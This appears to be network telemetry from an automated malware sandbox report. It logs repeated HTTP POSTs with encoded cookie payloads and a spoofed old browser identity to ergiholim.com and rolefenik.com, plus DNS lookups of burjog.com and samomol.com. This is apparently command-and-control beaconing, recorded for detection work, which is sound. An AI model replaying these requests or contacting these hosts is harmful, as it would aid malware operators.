Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\explorer.exe

Code function: 8_2_02E05078 InternetReadFile,

8_2_02E05078

Source: global traffic	DNS traffic detected: DNS query: burjog.com
Source: global traffic	DNS traffic detected: DNS query: samomol.com
Source: global traffic	DNS traffic detected: DNS query: rolefenik.com
Source: global traffic	DNS traffic detected: DNS query: ergiholim.com

Source: unknown

HTTP traffic detected: POST /test/ HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J07vdHmpTbgXkpU0PT%2FSrvVfERHCS%2FTR%2Fxulfo6PY7tBjXcE4LmIrekqqblqQjd%2FwRtqQGixEER2CCRXuKpZZEiEA9ACPwRJjedptWI%2FYHMI4pHFIfEvVDC%2F5kxgjfVZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2070645cb9f9ea-SJCalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=41334&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=70093&cwnd=32&unsent_bytes=0&cid=ded42fc163fc42e5&ts=542&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f4TKJqBpqaLi%2BZ5FR07Esw%2FyQ4uwxTz1tPZ6HCRDt5SHIVQon9ikKGizF0x0K9ri%2Fs1FrpG8UsojAEy%2Fv%2BxI2vvJ7ajnvkvisiOFY6v0FaAFavnbjSFlkTwTzTM1g8i2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20706d7f217360-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=146625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21544&cwnd=32&unsent_bytes=0&cid=0b7508a203288348&ts=777&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:21:39 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9kTvOMavf26j1iibm1aSLNkzSrTHJ8zo2tNPLS68zGmD%2BfBCIeeV3uyXhVPjENEDSaF4%2BAvd1dGcxExeHj50dKOy6xyKwUrt3BBOxihOWux85w04LhCEpHpEnvw%2FYeLr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20707d7b97687c-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137050&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=21240&cwnd=32&unsent_bytes=0&cid=6d163f834ae258d8&ts=721&x=0"
